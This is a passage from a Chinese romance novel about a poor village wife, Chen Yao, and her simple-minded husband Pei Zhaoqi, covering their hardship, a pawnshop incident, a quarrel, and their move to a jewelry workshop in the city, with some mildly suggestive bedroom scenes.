她轻轻闭眸等待更深入的接触,这时裴照七却倏然起身,正儿八经地给她盖好薄被,板起不太严肃的脸来,“不行,你来癸水了。”
陈窈登时睁开眼:“……”
糟糕,她都忘了之前撒过的谎了!
这夜陈窈为了圆谎,没再去勾搭身侧呼呼大睡的裴照七,她略有不爽地任由这块木头抱着入睡。
9. 又去
馄饨生意被人堵了门道,陈窈日子也过得没滋没味,她困在小小的一间屋里,做什么都没精神。
“窈娘,我们今晚还吃这个吗?”裴照七搅着快稀碎的菜糊糊,颇有嫌弃地问。
陈窈放下勺子,“你不想吃?”
“可我们已经吃了很多很多很多顿了。”裴照七算不出多少日子来,但他记得很清楚,“自从你上次从城里回来,我们就没吃过别的。”
陈窈:“……”
今时不比以往,他们连平日里买的猪肉都吃不起,只能依靠院后的野菜填肚子。
即便不花一分钱,但这野菜生长的速度实在赶不上他们顿顿都拔来熬粥。
陈窈也没办法,除了匣子里的钱,家里没有一分,但不到走投无路之时,她是不会拿出这些宝贝钱来用。
“你想吃肉吗?”陈窈说。
“嗯!”裴照七狠狠点点头,然后吸了下鼻子,惊喜说:“我好像闻到了肉味。”
陈窈跟着他一起闻,空气中弥漫的肉香顿时往她鼻腔里钻,而且味道愈来愈浓郁。
想都不用想,定是隔壁故意寒碜他们,用扇子将煮肉散出的香往他们这边吹。
陈窈刚问裴照七时,其实她也想吃肉,这几天的清汤寡水实属吃腻了,但这般被人欺凌,她不由握紧了拳头,“相公,明天我带你吃肉!”
“今天不行吗?”裴照七闻着阵阵飘香,肚子咕咕叫了声,他一刻都等不及。
陈窈一噎,和他解释说:“明日咱们去城中,找家酒楼吃肉,难道不比他们炖的爽快吗?”
“可……咱们不是没银子嘛,怎么吃肉?”裴照七不信。
“先去当铺,把金钗给卖了就有了!”
陈窈想了下,左右她是不会再进望月楼和凤姨有什么牵连了,不如把这钗子给卖了,还能赚点钱,撑过这阵子再说。
“哦。”听完后裴照七没被打动一点,蜷在木凳上恹恹。
见他没多欣喜,陈窈说:“你怎么了?”
裴照七吞了吞口水,水汪汪的大眼睛望着她说:“可我现在就想吃。”
陈窈:“……”
都是被隔壁诱惑的!
陈窈无奈,拿起碗一口一口喂进他口中,哄他说:“乖~,吃完咱们睡一觉,明天你就能吃到肉了。”
裴照七依旧耷拉着脑袋,死死闭着牙关,对她喂进的粥没吃进一嘴,汤粥如瀑布一般流到下巴。
陈窈对裴照七的耐心比他们
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家所剩的银子还少,她嘴角一撇,也不伺候他了,撂下的碗发出清脆的响声,“不吃就睡觉!”
话落,陈窈气哄哄地起身吹灭油灯,屋内瞬间陷入一片漆黑。
随后她躺下和衣而眠,那架势一点都没想管嘴边还挂着菜汤的裴照七。
裴照七:“……”
不知过了多久,陈窈耳侧传来挪动的脚步与细微的水流声,她在伶仃的混杂声中沉睡,连身边的床榻凹陷都没发现。
身后热气逼近,女人纤纤的腰身被圈住,似一捆柳枝在渐渐收紧,不光在腰间,如同强韧的梗茎在她双腿/间游走。
陈窈眉头微皱,迷迷糊糊间拍了下身后不老实的男人,轻声警告他:“好好睡觉,手别老乱摸。”
裴照七一到这事儿上如同失聪般,对陈窈的话从左耳进又从右耳飘出。
男人一个翻身将她压在身下,炽热的气连着湿润从她中衣下摆钻,渐有遍布全身之势。
“大晚上你要干什么啊?”
陈窈被他弄得彻底没了困意,也激起了她的不耐烦。
裴照七倏尔从她胸口处抬头,一本正经地说:“吃肉。”
陈窈:“……”
这觉注定睡不好了。
10. 挑唆
自从回来后,陈窈都没细看过凤姨给她的珠钗,现在马上快要当了,她却有点舍不得。
陈窈今儿个穿了件深色长裙,腰间璎珞纹路镶嵌,衬得身段婀娜多姿,如墨的乌发配着这支钗子点缀,让女人本就娇媚的小脸更是如花似月。
裴照七在一旁早就看呆了,从身后不动声色地搂住她的腰,贴蹭在她脸侧说:“窈娘,你真美。”
这钗子特别映衬她的脸,陈窈将钗子摘下,左看右看甚是喜欢。
裴照七看出她的不舍,亲了亲她的脖颈说:“窈娘,你要喜欢就别卖了。”
陈窈又重新插回头顶,颇为倔强地说:“这不是为了给你换肉吃嘛。”
裴照七:“咱们别换了,我昨天已经吃过了。”
陈窈:“……”
不提还好,提起这个她就生气,她抄起桌上的竹扇朝着他脑袋就是一挥。
裴照七措手不及,捂着头,后撤两步,“啊。”
“你还有脸说昨天!”
陈窈昨晚都不知多了多少次“不”了,他可倒好硬是装听不见,有几次嫌她喊得烦了,就犯坏地堵住她的唇,漫出唇边的嘤咛全被他细数吞吐。
“下次你要经过我同意才能这样。”陈窈红着脸说。
“好。”裴照七听明白了,傻乎乎地点了下头,然后照她明面上的意思复述说:“我今晚能与你交欢吗?”
陈窈羞赧:“……”
静默片刻后,陈窈似妥协般,轻叹说:“算了吧。”
她可不想大早上就与这木头置气。
两人赶在日头不是很大的时候出了村子,一路走走停停,可算到了城中。
陈窈从裴照七背上下来,她抚平长裙的褶皱,有模有样地擦了下不怎么流汗的额角,正要杨步而起,却被他叫住:“窈娘,咱们先歇歇再走吧。”
裴照七虽体力大,身上壮实的肉堪如城墙瓷实,但也架不住陈窈一路趴在他背上,而陈窈纵使能吃苦的,但尝过了有人驮着的甜头,她却再也不想走这么远的路了。
她不好意思地笑了笑,转头搀扶着裴照七坐在树根阴凉处,同他商量说:“你先在这儿歇脚,等我当个好价格再来接你?”
陈窈见裴照七汗珠从下巴滴落在地上,本以为他会老实在这片树荫下等她,却不想他没坐几刻就立即起了身,胡乱地擦了把汗水,“不好。”
“那走吧。”他既然不累,陈窈也没强求什么。
到了繁华的城中,陈窈也不需要他背了,两人并排走在街上十分吸睛,一路引得许多人纷纷侧目,私语声犹如夜晚嗡鸣的蚊子叫钻入耳。
“这位娘子长是美啊,身段玲珑曼妙,不知是哪家公子新娶的夫人?”
“什么夫人,你没看到边上跟着她家男人吗?”
“那是她家小厮。”
“啊?依我拙见小厮怎会和夫人如此亲密,定是她男人!”
“不不不,她家男人怎会穿得如此寒酸,肯定不是。”
“……”
裴照七听到心里却不是滋味,慢慢地离陈窈远了两步,低
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着头默不作声地走。
就在这时,陈窈忽地拉着他的胳膊,眉梢弯了弯,“相公,咱们喝杯凉茶再走也不迟。”
“好好……好。”
面对陈窈突如其来的温暖,裴照七话差点没说利索。
陈窈也没想到会变成这样,她只想穿得好看些,不想如上次一样丢人,但今天许是跟裴照七一身粗衣麻布比起,自己的确比较亮眼。
两人坐下,陈窈要了两杯凉茶,很快便上了,周围的声音小了些,但还是难免有几句不好听的话徘徊。
“你看我说什么来着,那真是她相公吧。”
“哼!若真是那样可危险喽。”
“此话怎讲?”
“你没听说,城东有一美妇,嫌弃自己那穷秀才的丈夫,又无用又没本事,成亲没多久就和离了,以那美人的相貌和才学,转眼嫁给了一富商,此后日子美滋滋再也不用受罪。”
“我怎没有耳闻,莫不是哪个话本里捏造的吧?”
“不是,我跟你讲……”
陈窈轻抿了口茶,像是白水一样,没一点味道。
旁边的裴照七也不似之前那般,凉茶被他喝了一口就晾在一旁了,整个人似被阴霾笼罩,透出一种难以言喻的失落。
陈窈知道他听到了,城中人杂,口舌多,不免落入耳。
她并不在意这些,与裴照七一起生活三年之久,不是这些三言两语就能拆散的。
至少现在陈窈还是这么想的,如果他们没有在当铺捉到一个白日鬼的话。
11. 金钗银钗
“多谢这位姑娘见义勇为,将我这孽徒捉拿归案,要不我还被这滑头蒙在鼓中,自己店中总是入不敷出。”说话的是对街金禧堂老板何岱,特来感谢陈窈的善举。
半刻钟前,陈窈和裴照七正准备当掉手中的金钗,还没和东家讲上几句,就被一个急匆匆进门的女子冲撞。
她兜帽的脸上写满了急切,顾不得行为礼仪,横冲在陈窈面前,扬言有要事办。
陈窈凝目顿了下,本想着她也不是很着急,让了就让了,可越琢磨越不对劲。
女子不仅着急还不时地向门口看去,像是有人要追杀她一眼,
“娘子,她的金簪比你多。”裴照七这时凑到她耳边说。
“你怎么知道?”陈窈诧异。
裴照七耸了下肩,顺着那女子包袱的空隙上瞧,“看到的啊。”
他比陈窈高一个头还多,自然能看到她看不见的事物。
陈窈听他这么一说,视线不禁往女子身上看了几眼,穿着得体不似从穷乡出来典当钗环来维持生计,显然和他们不是一路人。
而典当的人大部分都是为了钱。
还是急钱。
如是家中至宝,定是不舍,但这女子一副着急忙慌的模样,生怕耽搁一点时间,将钗子随意摆在桌上,多一眼都不奢给它。
莫不是盗窃来的!
陈窈脑中划过这一念头,没等多思索,她立即拽住了这位女子。
一时间当铺乱成一团,嘈杂与混乱接踵而至。
这位女子是做珠钗的学徒,每晚等打样后偷偷溜进店中偷盗店,当铺的东家对此也是睁一只闭一只眼,毕竟这附近谁人不知金禧堂所出的钗环最为上品。
然而,陈窈却是第一次知道。
她轻轻抬起下巴,看向这位仪表堂堂的老板,他深色长袍,腰间系一块光泽圆润的玉佩,谈吐间流露的亲近随和,令人不自觉地多了几分好感。
陈窈连忙摆手,温柔地颔首一笑道:“小事小事,不足挂齿。”
“我何岱作为商人最讲究情义二字,你们今日帮了我,就是我何岱的朋友,若有什么难处,能帮上忙之处必定赴汤蹈火。”
出于商人常年养成的敏锐,何岱早已察觉到陈窈是外乡人来嬅京城办事,她脚下沾染的些许泥泞,和发黯的绒面绣鞋都不似城中女子作风。
“您言重了。”陈窈想了想还是说出自己的困境,她咬了下唇说:“家中贫寒,早些时候以小生意为生,近几日收成不好……我和我相公特来此地当掉身上的金钗银饰,只求能换些钱财度日。”
说话间,何岱往裴照七身上瞥了眼,只一眼又回到陈窈身上。
裴照七捕捉到对方不善的眸光,面色稍显不悦,两人面对面站着相聊甚欢,他自知没趣找个凉快地坐,尽量不去寻眼前那道刺眼的风景。
“这下当铺被官府查究,我们又要去别的地方谋一谋财路,不敢叨扰何老板生意。”陈窈微微行礼,抬腿往外走。
何岱长袖一拂,拦住她说:“何来打扰,我有一法子定能解你燃眉之急。”
——
金禧堂内,绿意盈门。
何岱带陈窈穿过两排竹林间,踏出蜿蜒的石子路,左右几扇敞开的大门,她不由自主地向内望去,几名女子身着素色长裙,专心锻造手中尚未成型的钗子。
只是匆匆几眼,陈窈竟觉得那些比她袖中的金钗还要耀眼。
“小心,这边请。”何岱故意放慢脚步,缓缓转头看向她,伸手示意脚下的门槛。
“好。”陈窈这才恍然横在脚下的槛儿,挪过视线,跟着他继续走。
走到屋里,何岱吩咐小厮倒了两盏茶放在桌上,凑近对她说:“刚才听闻娘子做生意,不知做何生意?”
“勉强靠卖馄饨度日。”
陈窈低声应道,不似之前大方,她只是个烧水煮饭的乡间农妇,周围的陈设雅致,都是她没见过的新鲜玩意,自卑蓦地涌上心头。
何岱轻笑,向她发出邀请,“既会做馄饨,为何不试试钗环呢?”
陈窈猛地抬眼,双目微怔:“钗环?”
进院时她就猜到何岱的法子是让她留下当学徒,但当学徒岂不是又要支付一笔费用。
何岱似乎能读懂陈窈眉目中的担忧,他笑了笑说:“身为学徒必给师父收取一定的费用,但于你而言对我有恩,可免此费。”
陈窈双眉蹙起,连忙道:“这怎可以,岂不坏了规矩?”
“如若你来日日做些馄饨当学费呢?”何岱一笑,偏头看她。
陈窈敛目,了然于心,何岱似乎早想好了如何让她答应,左右他都用法子让她点头。
不过,这确实是能解她燃眉之急的好
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法子,她以前烧饭煮茶都是自己照猫画虎学来的,无人教无人引,若是有人愿意教她,说不定能闯出什么门路来。
见陈窈不语,何岱又言:“金禧堂可管你住管你吃,还能学到我亲传的手艺,路摆在你面前了,就看你愿不愿意了?”
陈窈沉吟良久,何岱提出的条件对她来说很丰厚,让她有银子赚又有地方住,如果她只身一人,恨不得立马就答应,可她唯一放心不下的就是裴照七了。
“何老板,麻烦给我一些时间吧。”陈窈说。
“也好,和你家相公商榷下……也好。”何岱顿了下,视线转而落在蹲于树根处的裴照七,相比第一次的一扫而过,这眼更显轻蔑。
陈窈与何岱告别,带着裴照七回了家。
不远处,何岱目送这对璧人离去的背影,和善的眉目渐渐消散,漫不经心地掀起一阵凉薄。
陈窈从踏进金禧堂内就已经决定好了,她想留下当学徒,做金钗卖银饰。
她忘不了心底流露出的羡慕之情,不光是为了可以赚银子,她更想亲手打造一支独一无二的钗子。
此时回去的路上,陈窈已不在乎银子了,她奢侈地租了辆马车,两人各坐一侧,相对来时的融洽,多了几分疏冷横亘在彼此之间。
陈窈缓缓抬睫,看向对面坐着的裴照七。
男人低垂着眼,双手松垮地搭在膝上,整个人融进斑驳的车壁,无精打采地像是被风吹倒的枯树。
陈窈自然地抚上他被风吹翘起的发丝,轻轻抚平,“乱了。”
裴照七抓起她的手,不太温柔地放在手心里,宽大的掌心如同连锁缠住她前行的步伐,他低低说:“窈娘,你要留在这里吗?”
陈窈对他听到与何老板的说话,没感意外。
她笑了下,用他能明白的事情说道:“你不想我有很多很多的银子,然后请你吃很多很多的肉吗?”
裴照七心头没泛起丝毫涟漪,他坚定地摇头:“不想。”
陈窈笑容敛住,有些出乎意料,没想到连他最喜欢的肉都诱惑不了他?
裴照七目光如炬,又说了一遍,“别去。”
“为什么?”
陈窈双眉微蹙,不解他为何拦着她,她一刻都不想过以前的穷酸日子。
只听他说——
“因为你去了就会不要我。”
12. 争吵
不要他?
陈窈愣住半晌,她何时说过不要他,裴照七定是听进街边口无遮拦妇人的话了。
那些闲言碎语她也听见了,只当是个乐子罢了。
裴照七不是话本中以考取功名为借口的穷秀才,也不是不会心疼娘子的愚夫俗子。
她与裴照七没有妻妾成群,没有婆媳争吵,更没有金银纠纷。
重要是裴照七对她向来是言听计从,陈窈就算哪天说是太阳从西边升起,裴照七也会点头相信。
他的好陈窈记在心里,又怎会受旁人之语的挑拨,不要他呢?
裴照七眉间却笼起一片愁云,语调有种难以言喻的伤心,“你在城,我在村……我又该很久都见不到你。”
男人的样子可怜极了,陈窈见状心蓦地一软,他只是害怕她的离开,又做错了什么呢?
于是,陈窈耐起性子来,轻柔地和他讲:“咱们一起去城中,做什么都在一起,不分开!”
何老板让她来金禧堂做学徒,只字未提裴照七,但无论如何她都会带着他。
但不知哪句话惹到裴照七了,他瞪起眼睛,声调忽地拔高,激动地说:“你就是不能去城中!”
陈窈没料到裴照七反应如此大,被他突如其来的一嗓子给吓了一跳,她出于本能的躲避,身子往后退了退。
裴照七见陈窈被自己怔住,又缩了回去,像个做错事的孩童低下眉目,缓缓地说:“我……我只是不想让你去城。”
车内静默几瞬,唯有车轱辘碾过坎坷小路的回响,笼罩着一片微妙的气氛。
陈窈开口打破平静,“难道你要一辈子都在花颐村?”
裴照七抬起头,坚定不移地点头应:“嗯!”
陈窈震惊,她漫长的一生都要在花颐村度过?
那个小小的破村有什么好的,狭小到连两人云雨时分,她都不敢出太大的声音。
怕这傻子没理解,陈窈压下心中不断翻滚的怒火,好脾气地又讲了一遍,“咱们一同搬到城中,一同生活不分离,和以前在花颐村生活有什么两样?”
“不一样!你去了就会和别家公子好上,丢下我一个人睡。”裴照七一想到陈窈真如别人所讲那般,抛弃他去躺在另一个男人怀中笑,心里不免一阵绞痛,越是这般他就越不想让她离开。
陈窈:“……”
她没想到那些妇人的话对他影响如此大。
陈窈是和他讲不清了,既如此就硬碰硬吧,她深吸一口气,大声对他下达不容置喙的命令,“裴照七我告诉你,你同意我要去,你不同意我也要去!”
陈窈真是被他气极了,回到屋头里两人又大吵了一架,她一气之下连饭都没用,气得夺门而出。
这架势别说庞氏那边听得真真的,明日村里估计就传开她苛责一傻子了。
陈窈抿唇苦笑了下,漫无目的地四处走,几缕小风拂过她的发丝,贴在脸颊旁,平添了几分风韵,依旧美得动人。
她想搬去城中,但裴照七怕她飞黄腾达后一脚踹了他,死活不让她走,来来回回吵得都是那些话,和裴照七鸡同鸭讲实属伤神。
陈窈不信,她要真铁了心地去金禧堂,裴照七还能真把她绑在床上不成,说不定看她去自己先两天,他就眼巴巴地跟过来了。
溪边的凉风吹在她单薄的身上有些冷意,她沉闷的心绪稍缓打算回去。
院还没进,陈窈打老远就瞧见吴春蔓不怀好意地站在院前,还有……她那显眼的肚子。
陈窈眼珠流转,顿时琢磨过来庞氏为何要涨租,原来是她儿媳有了。
合着她要养一家四口人呗,陈窈想想就生气,他们如今这般处境,再不搬家就只能被他们一家吸血吸到死!
陈窈理了理衣衫,挺起胸,径直走去,“你站我家门口作甚?不欢迎你!”
吴春蔓扶着腰转过身,挺起风光的肚子,眼梢都快吊到天上去了,“我在自家院落消食,不知哪里碍着娘子眼了?”
陈窈知道吴春蔓一直讨厌她,恨她不要的男人自己却傻乎乎地承接,便在背后处处寒碜她挣不干净的银子,但又一边心安理得地花。
“真可伶。”陈窈看着她日渐圆润的脸,和眼底因生活染上的刻薄,与从前天真的少女无半分相像。
吴春蔓凝目,“什么?”
“我说你真可怜。”陈窈面无表情,“争了这些年竟是为我从不在乎的东西。”
若不是因吴春蔓善妒懒惰,她本可安生过日子,在村中找个活儿来打发日子,当绣娘或卖油伞,即能赚钱又能少挨庞氏的苛责。
可她偏偏选了一条最辛苦的路。
吴春蔓勾出一抹冷笑,声调忽地高亢起,“你还有脸说,我这般不都拜你所赐,你嫁了人还不安分,整体花枝招展让人惦记!”
“你真是着了魔!”
陈窈压低了音,这可不是什么光彩的事,哪儿容得她大声吆喝。
吴春蔓转念一想,眉梢轻挑,倾身贴近说:“都不重要了,你要搬走,是吧?”
她不仅要陈窈搬走,还要她家破人亡,哪怕是一个傻子也留不住,这般也不枉她站在门前好一阵的自说自话。
陈窈:“你来这儿不就是来打探我们搬不搬走嘛,我直白告诉你,与你做邻居我早就厌了,不久我们便搬走。”
吴春蔓笑笑,正合她意。
结果陈窈下一句的话,让她脸上挂着的笑尽失——
“我搬走也不能解决你丈夫往别的女人身上瞧的陋习。”
吴春蔓望着陈窈得意的背影,捏紧了拳头,就让她逞一时之快吧,等她一回到屋有她难过的!
陈窈推开门,裴照七侧坐在矮凳上,驮着背,余光侧隐隐地观察她。
她气没消对他视而不见,仿若他不存在般直直绕过他去。
空气中飘散着饭香味,陈窈鼻尖微动,掀开芭叶一瞧,满满的肉盖在饭上。
那是陈窈趁马夫喂马时,去隔壁楼里给裴照七买的一包荷叶鸡。
他一口没动。
搁以往她兴许会感动,但陈窈现在气都气饱了,根本没心情吃饭,她劳累一天现在只想睡觉。
裴照七见陈窈不理他,知趣地不再讲话,默默把桌上的饭收起来。
一转身,陈窈麻利地盥漱后躺在床上,留给他一道冷漠的背影,仿佛在说别惹她。
“……”
裴照七吹灭了油灯,摩挲着床边上去,这床本就小睡一个人正正好好,但陈窈生气只给他一条缝隙,根本躺不下。
“窈娘,你往里去去。”裴照七说。
陈窈一动不动。
裴照七满眼委屈巴巴,小声说:“你这样我怎么睡嘛。”
陈窈没好气地回他,“外面睡去。”
裴照七:“……”
讲不清,裴照七只能来硬的,他双臂一览,轻轻松松将女人挪了个地儿。
裴照七上了床越发不要脸,下巴紧贴着她肩颈,抱着她的软酥的腰说:“外面冷,没你身上暖。”
陈窈:“……”
恬不知耻。
陈窈一想到他那副和她死倔的样子就烦,她腿一弯,从前头踹了他膝盖骨一脚,“滚。”
这一脚她还是使了力气的,可裴照七硬是忍着痛,搂她更紧了像是要揉进怀里,“窈娘,你终于理我了。”
陈窈:“……”
听不懂人话。
陈窈快被他勒得喘不上气了,嫌弃道:“松开。”
裴照七不愿,“我不松开,松开你就跑了。”
陈窈斜他一眼,幽幽道:“我跑去睡外面吗?”
裴照七:“……”
大晚上夜深人静,她总不至于委屈自己,放着床不睡到外面吹冷风。
横在她腰间的手渐渐松了力道,但温热的呼吸洒在她后颈,还伴随着密密麻麻的啄吻。
“……”
陈窈抿唇,似忍无可忍地转过身子,同他相对。
没等她开口发作,裴照七先一步,“窈娘,你要不想理我,那就亲亲我或像从前那般摸摸我也行。”
说着,裴照七一把抓住她的手,带着她往薄被下探索。
陈窈手一瞬被热气包裹,知道他想干什么后,挣开他的手,强忍着忽略他耍流氓的话语,娇横说:“……你再不老实睡觉,这辈子都别想让我再搭理你!”
裴照七顿时双唇紧闭,小心翼翼地给她和自己盖好被子,然后双肘抱臂,假装闭目睡觉
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陈窈见他老实了,憋着一口气转过身睡觉,睡意朦胧间一只手臂悄然搭在胸前。
两人和衣而眠,直到天亮裴照七还维持着抱她的姿势。
暖阳从窗外洒进,陈窈瞥了他一眼,他倒是不嫌胳膊酸。
陈窈胳膊肘向他胸口一击,怏怏不快地叫他,“起来。”
裴照七本睡得正香被陈窈这一打,他登时惊醒,眨了下惺忪的眼喉故作受伤般揉着胸口,“窈娘,好痛。”
“你起不起来。”陈窈不想理他,手肘不耐烦地拱了拱他胸膛。
“你今天就要去城中吗?”裴照七依旧没起身,反问她。
陈窈噘嘴,和他呛声,“你又不去!”
言下之意便是你又不去,管着找她吗?
裴照七:“我去!”
陈窈一顿,诧异地盯他,“嗯?”
一个晚上就让这死心眼的傻子改了主意?
“你要和我一起搬到城中,陪我在金禧堂当学徒?”陈窈怕自己误解裴照七的意思,又准确地问一遍。
裴照七照旧点头。
“你怎么突然想通了?”
陈窈不解地扫视他,还揪起他一只耳朵提起,反复地看这是她的傻相公吗?
“痛啊~”裴照七吃痛,但见她态度放缓,笑嘻嘻地抱上去说:“你昨晚跑出去后,吴春蔓来咱们门口说你去了城中就会变心,然后会抛下我,不如让我先与你分开在村中当伐木工,比跟着你强多了。”
陈窈就知道吴春蔓在隔壁听到他们吵架,她来得倒是真勤,一等她走就挑拨他俩之间的关系,连裴照七的后路都给想好了。
她笑了笑,秀眉轻佻,轻描淡写说道:“嗯……这和城里听到没什么分别啊。”
裴照七瞪眼咬牙说:“但她坏!她想让咱们分开,我不能让她如愿。”
听着裴照七凶狠狠的语气,陈窈忽觉有些好笑,来了兴趣问他:“她怎么坏了?”
裴照七:“她们家都是坏蛋,大大大坏蛋,你每次见了她们回来后都不开心,嘴角都往下拉像座桥。”
陈窈惊讶,裴照七竟连她嘴角微妙的变化察觉到,不过话又说回来,吴春蔓的挑唆似乎也不能支撑他改变主意,陈窈问他,“你就因为她的话才想和我一起去城中吗?”
裴照七摇头:“也不完全是。”
陈窈:“?”
裴照七拉过她的手放在胸口,俊眸含情,爱意似潺潺春水流出,“我不想和你分开。”
陈窈手心下是他灼热的心脏,砰砰地跳动,很快。
对视的瞬间,她也感到自己的心跳,和他一样的快,同频共振。
陈窈被他哄得心情好了些,“她还说什么了?”
裴照七搂着她,回忆说:“她还说,只有男人没本事才会拖累女人。”
陈窈好奇,“你有什么本事?我听听。”
裴照七面不改色,把他仅存的那点优势拿出来说:“我记得窈娘你可是夸过我力气大的,还让你很舒……”
陈窈就知道他没个正形,赶忙捂住他的嘴,羞恼说:“行了,后半句不用说。”
裴照七乖乖地说:“好。”
“先用饭吧,吃饱了再收拾东西搬家。”陈窈饿了起码有一天,现在睡醒了没什么力气,使唤让裴照七烧饭去。
待她简单把昨天剩下的饭吃完,两人开始收拾行李。
陈窈在屋头整理衣服,裴照七去地里摘了些瓜果带在路上充饥。
他们要拿的不是很多,只有些衣物和布鞋,还有陈窈最宝贝的钱匣子,不到万不得已她不会动用一分,两个包袱装得满满当当。
陈窈整理完毕,正要直起腰忽地肚子一阵绞痛,她赶紧躺床上蜷缩起身子,不断往外冒的冷汗从额角流出。
裴照七一回来就看到陈窈无力地躺倒在床,吓得他怀中的瓜都顾不得掉落,冲到床边摸上她惨白的小脸,着急忙慌地问:“窈娘!窈娘!你怎么了?”
陈窈全身无力,肚子一阵阵地疼,定是刚才吃的饭有问题,她颤抖着手指了指桌上那盘隔夜的鸡肉。
裴照七顺着她指尖的方向看去,一瞬恍然大悟,“这个鸡有毒!”
陈窈:“……”
13. 搬离
陈窈现在是肚子疼,头更也疼,有这么个傻子相公,想保命都难。
也怪她自己饿,竟敢吃那傻子递过来的隔夜鸡。
陈窈虚弱弱地叹息,“唉……”
裴照七一根筋地认为这鸡被下了毒,泪水夺眶而出,朝她哭丧地喊:“怎么会这样呜呜呜,这鸡我也吃了,你要是死,我陪你一块死!”
陈窈额角一抽:“……”
谁要和你一起死。
陈窈双唇无血色,勉强吐气说:“死不了放心吧。”
裴照七抹了把泪,颤抖着嘴唇说:“真的吗?”
陈窈吩咐他,“你且去烧点热水来,我喝下几杯去趟茅厕便好。”
“好。”裴照七焦灼地点头,滚爬着去灶台。
如此一倒腾,搬家又耽搁了几日,随着淅淅沥沥的小雨落下,他们等路上积水清干净后,已是拖了一周多才出发。
临别前,陈窈掀起帘子望了望,她清澈的眼底倒映着一片远山绿水,翠鸟从中掠过,仿佛碎玉洒进一池汪潭,激起阵阵涟漪。
马车哒哒前行,小小的花颐村逐渐在视野凝结成一粒沙,渺若云烟。
“娘子,你在看什么?”裴照七轻声唤她。
陈窈放下帘子,回过神,“望远看,花颐村的景色好美啊。”
“是吗?我也看看。”裴照七大手一掀,盯了片刻,咕哝地说:“没看出什么不同啊。”
“……”
陈窈不想同他多讲话,嘴边挤起一个弧度,温柔又敷衍地摸了摸他的脸,“你睡吧,等睡醒咱们就到了。”
“好!”
裴照七身子轻侧,舒服地躺在陈窈腿上打了长哈欠,正要闭目睡觉,似乎还差点什么。
他微微转身,将陈窈的小手往自己胸前一搭,嗅着女人独一无二的香气渐入梦乡。
陈窈:“……”
不久,两人到了金禧堂堂内。
“我还以为你不来了。”
何岱从门外笑着走进,他一身金装玉裹焕发着贵气,踏着阳光迈步而来。
陈窈欠了身,不好意思地低眉笑了笑,“家中有些事耽搁了些日子,没叫何老板好等吧?”
何岱已把她当成自己人,熟络地道:“叫老板多见外,从今儿个起你就跟着大家一起喊堂主吧。”
陈窈抬了下眉,她明白何老板和堂主其实都显生分,没有差别。
只不过是何岱是在告诉她,他会兑现自己的承诺,让她在堂内做学徒,也没责怪她迟了这么些日子。
陈窈刚想开口,旁边的裴照七却忽然积极起来,一口应下道:“好的,堂主。”
“……”
何岱像是才看到裴照七似的,眼眸微定了下后说:“你……相公?他竟愿意你来?”
陈窈脸上挂着笑僵硬一瞬,不着痕迹地瞪了裴照七一眼,随后迎笑说:“我家相公喜怒不形于色,他知道我要来高兴得不了,但城中路途遥远他放心不下我,索性一起来了。”
“你们感情真好。”何岱沉下深不见底的黑瞳。
“是的,堂主。”裴照七又接了句,扑闪着亮晶晶的眼睛,一点都没察觉自己的话不合时宜。
“……”
陈窈面色微窘,只想赶紧把他拉下去,或者打晕让他闭嘴。
“我们不打扰堂主休息,先一步收拾行李。”
活落,陈窈拽着像个木头的裴照七就往外走,她一刻都不想再让他丢人现眼。
裴照七看着块头很大,但陈窈轻轻一带,他整个人全往她身上靠,乖乖地跟着她。
何岱轻咳一声,叫住两人,“东厢是女眷所居,你带不进他。”
陈窈脚下步子一顿,她来之前就想到了,她和大家同吃同住风吹不到雨打不到,可裴照七却不一定能找到间住处。
在堂外租间房给他,太费银子。
要不就……
陈窈闭了闭眸,深吸一口气如同赴死一样,随后缓缓转身。
“堂主,有所不知……”女人顿时紧锁眉头,似一团愁云笼罩,声线颤抖着开口,“我家相公下田做农活儿时,一不小心摔坏了脑子,人也变得傻乎乎的,从此我在哪儿他去哪儿……”
话还没说完,裴照七一嗓子止住她在眼眶中酝酿的泪花,“窈娘,我才不傻呢!”
陈窈顿了顿,轻颤挤不出一点泪的长睫,就着裴照七的傻话,迅疾地抬起胳膊用袖子遮着眼角,哭哭啼啼地道:“您看,他要真离了我,这日子可怎么过啊呜呜呜。”
“……”
何岱拂了拂袖,着眼打量裴照七。
他能看出裴照七是有点呆傻,但绝不是那种村头只知吃喝玩乐的傻子,恍惚地觉得他有些举动是故意所为。
不过,他是真傻还是装傻,何岱不在意,只要能让陈窈留在堂内为他好生赚银钱才是真。
陈窈见何岱许久没反应,以为他会戳破她拙劣的戏法时,他开口道:“堂内大多为女眷,地方不多,南边倒是有间偏房,不知你们愿不愿意,就是有些……”
“多谢堂主!”
得到何岱的允诺,陈窈眼睛一瞬亮了,没等他说完,拉着裴照七往外走。
安静的室内,何岱吐出一个字:“冷。”
——
这间偏房比陈窈想得要好些,至少同花颐村那间小屋头比,她是很满意的。
少了烧柴做饭的灶头,整体稍显宽敞些,床榻更是比之前挪得开,两人中间起码能塞下两个棉枕,还有一面落了土的屏风,洗澡时能多些方便。
奔波一路,累了好些时候,裴照七脱去鞋子往床上一横,一个人占了大半张床,他拍了拍自己的胸口,大言不惭地招呼陈窈来躺,“窈娘你且先歇歇脚,来嘛。”
“……”
陈窈一眼都不想看他,回到房她先检查包袱里的匣子,什么都能没它可不能没。
像宝贝似的她数了几遍,确认无误后,陈窈将床头的柜子收拾起来,把钱匣子放进去,最后落了把锁她才安心。
这是她一比一比省出的辛苦钱,好在接下来的日子在堂内无须有花销,这匣子可以很久不动。
至于收入嘛,堂主说让她上午看店,下午跟着大家学工,等能做出一个让人买的簪子,自然就有银子进口袋了,作为学徒只有卖出簪子才有银钱挣。
“你感觉这里怎么样?”两个包袱收拾妥帖后,陈窈问他。
“挺好。”裴照七迟疑下说:“但……他看上去不像好人。”
陈窈知道他指的是何岱,好不好人的陈窈漠不关心,只要能让她有吃有喝有地方住,还不用花钱,她就很知足。
陈窈摸出裴照七摘的两颗李子来,往胸前蹭了蹭,给他递过去,“你吃不吃?”
裴照七“噔”地从床上坐起,他早就饿得前胸贴后背了,“吃!”
他一起来床上地方就大了,陈窈顺势一坐,一口咬下手中的果儿。
汁水润过女人的唇,似雾气过后的翠叶,凝结成的晨露,留下晶莹的痕迹。
裴照七盯着她,脸颊有些发热,“窈娘,你吃得和我的一样吗?”
“嗯。”陈窈心里琢磨着以后的生活,思绪飘远,敷衍地应他。
“我想尝尝你的。”裴照七舔了下嘴唇。
陈窈一口
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将半个果儿放进口中,迅速从床上起身,朝他摊了摊手说:“没了。”
裴照七:“……”
陈窈秀眉一抬,她还不知道裴照七在想什么。
想亲她,没门!
裴照七依依不舍地追过去,一屁股坐在她身边,紧挨着她,“窈娘,你不睡觉吗?”
